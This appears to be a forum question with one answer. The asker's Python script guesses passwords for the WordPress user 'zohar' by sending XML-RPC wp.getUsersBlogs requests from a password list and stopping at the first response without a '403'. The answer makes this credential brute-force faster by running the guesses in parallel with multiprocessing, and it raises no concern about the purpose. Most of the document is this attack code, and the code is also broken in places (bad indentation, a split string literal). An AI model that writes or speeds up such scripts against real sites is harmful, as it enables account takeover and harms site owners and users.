Python requests module multi threading

Question

Is there a possible way to speed up my code using multiprocessing interface? i have data array that include password i would like to run some requests togther.

import requests
data = ['test','test1','test2']
counter=0



for  x in data:
   counter+=1
   burp0_data = "<methodCall>\r\n<methodName>wp.getUsersBlogs</methodName>\r\n<params>\r\n<param> 
   <value>zohar</value></param>\r\n<param><value>"+x+"</value> 
   </param>\r\n</params>\r\n</methodCall>\r\n"

       s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
       if not (s.text.__contains__("403")):
       print(s.text)
       print(x)
       exit()

Answer 1

Python multiprocessing module is what you are looking for. For instance, it has a parallel map function, which will run all requests asynchronously. Here is roughly what your code would look like:

import requests
from multiprocessing import Pool

def post(x):
    burp0_data = "<methodCall>\r\n<methodName>wp.getUsersBlogs</methodName>\r\n<params>\r\n<param> 
   <value>zohar</value></param>\r\n<param><value>"+x+"</value> 
   </param>\r\n</params>\r\n</methodCall>\r\n"

    s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    if not (s.text.__contains__("403")):
        return s.text, x
    return None, None

if __name__ == '__main__':
    data = ['test','test1','test2']
    counter=0
    with Pool(processes=len(data)) as pool:
        results = pool.map(post, data, 1)
        for res in results:
            if res[0] is not None:
                print(res[0])
                print(res[1])
                exit()

For more information please refer to the Python docs on multiprocessing .